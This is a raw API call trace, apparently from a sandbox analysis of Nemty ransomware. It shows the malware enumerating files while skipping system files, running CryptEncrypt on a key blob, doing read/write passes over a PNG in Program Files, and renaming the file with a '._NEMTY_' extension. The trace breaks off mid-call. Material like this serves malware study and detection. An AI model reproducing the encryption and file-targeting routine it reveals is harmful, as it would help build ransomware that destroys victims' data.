lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0062.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0062.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0062.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0062.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0062.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0062.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0062.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0062.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0062.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0062.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0062.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0062.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0062.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0062.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0062.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0062.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0062.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0062.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0062.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0062.752] Sleep (dwMilliseconds=0x5) [0062.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd90d8050, dwHighDateTime=0x1d561e7)) [0062.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd90d8050, dwHighDateTime=0x1d561e7)) [0062.757] GetLastError () returned 0x5 [0062.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0062.757] GetLastError () returned 0x5 [0062.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0062.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0062.757] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0062.757] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0062.757] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0062.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0062.757] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="FXUcC6gdrRjLt+lbIuYS/u2hH5L1BDISzihh5mVSLQ9LTSLr/YS7rWP+XULaLnH3\r\nUvtzgDTDx/+YYmH5yCw6tfWfBUpUCcAsRrJEDjSs1fsFj9C6AqhdstrFVsNfR61G\r\n50LSNabVXkrvseeh/b7DdAryHAzCJfxUjpIMhqIMzAiPHYB6anHWPE0o4X0lFcDj\r\nlKc5mYJ69cwhrNUlkncdjmnNjbqMjXSp+ZmRj8slExUSIfDw1gGK+hLhb2MAIPsq\r\n6PCJEjUc5E/sGFCG3tEjLnCJW4HPeteOhQKvMyJNELYjKkjRO/tTMXpkXbzZU1lm\r\naFh381Qs801vU6uxDShnQw==\r\n", pcchString=0x653e91c) returned 1 [0062.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0062.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0062.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0062.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0062.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0062.758] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.758] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0062.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0062.758] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.759] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.768] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.768] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.768] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.768] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.789] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.845] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.864] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.864] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0062.877] CloseHandle (hObject=0xffffffff) returned 0 [0062.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0062.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0062.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0062.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0062.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0062.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63403f0 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.877] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0062.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.877] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0062.877] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0062.877] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0062.877] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0062.877] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0062.877] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0062.877] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0062.878] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0062.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0062.878] WideCharToMultiByte (in: CodePage=0xfde9, 